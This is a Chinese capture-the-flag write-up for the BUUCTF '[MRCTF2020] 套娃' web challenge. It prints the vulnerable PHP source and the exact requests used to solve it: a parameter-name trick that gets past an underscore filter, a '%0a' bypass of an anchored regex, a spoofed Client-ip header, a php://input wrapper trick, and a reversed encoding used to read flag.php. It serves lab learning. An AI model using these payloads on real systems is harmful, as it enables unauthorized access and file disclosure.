BUUCTF-WEB 【MRCTF2020】套娃 1

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考点：代码审计和字符绕过

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一个平淡无奇的页面，查看源代码，得到一串代码

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//1st
# 拿到?后面的字符串
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

经过分析，需要绕过两个条件

第一个 $query 中不能存在 _ %5f 

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if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 )

第二个 $_GET[‘b_u_p_t’] 不能为 23333 用正常匹配 又必须为 23333

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if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t']))

绕过方式

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?b.u.p.t=23333%0a
?b%20u%20p%20t=23333%0a

%20 . 用于绕过 _ ，%0a 绕过 正则首尾固定匹配。

回显

image-20210422120124876

访问

image-20210422120252241

源代码

image-20210422120323474

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]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])

得到一串有规律的字符，放入控制台。

image-20210422120434699

弹出 post me Merak

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POST:
Merak=1

回显了源代码

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<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

可以通过file_get_contents 来读取flag。

有两个条件 和 一个函数对输入内容进行处理

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if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )

访问ip为 127.0.0.1

file_get_contents($_GET[‘2333’]) 读取的内容 为’todat is a happy day’

绕过的方式都很简单

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构造header头
Client-ip: 127.0.0.1
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GET:
?2333=php://input

POST:
todat is a happy day

接下来就是 反转对输入内容的处理

这个函数会将输入的字符进行base64解码，进行遍历，将每个字符转换成ascii码 + 当前位置2，在转换成字符。比如 ok，会将 o 转换成ascii码 111，再将 `111+12，就会得到113，再转换为字符q。kascii则是107，107+2*2=111，就会为o`。

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function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

写了一段反转的代码

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function change2($v){

    $re = '';
    # 遍历字符串
    for($i=0;$i<strlen($v);$i++){
        # 将字符转换为ascii码值 + 当前字符下标的两倍
//        $re .= chr ( ord ($v[$i]) + $i*2 ); 0=>0 1=>2 2=>4
        $re .= chr(ord($v[$i]) - $i*2); 
    }

    $v = base64_encode($re);

    return $v;
}

echo change2('flag.php');

// 得到 ZmpdYSZmXGI=

最后

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GET:
?2333=php://input&file=ZmpdYSZmXGI=
POST:
todat is a happy day
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构造header头
Client-ip: 127.0.0.1

请求

image-20210422122314526

image-20210422122234151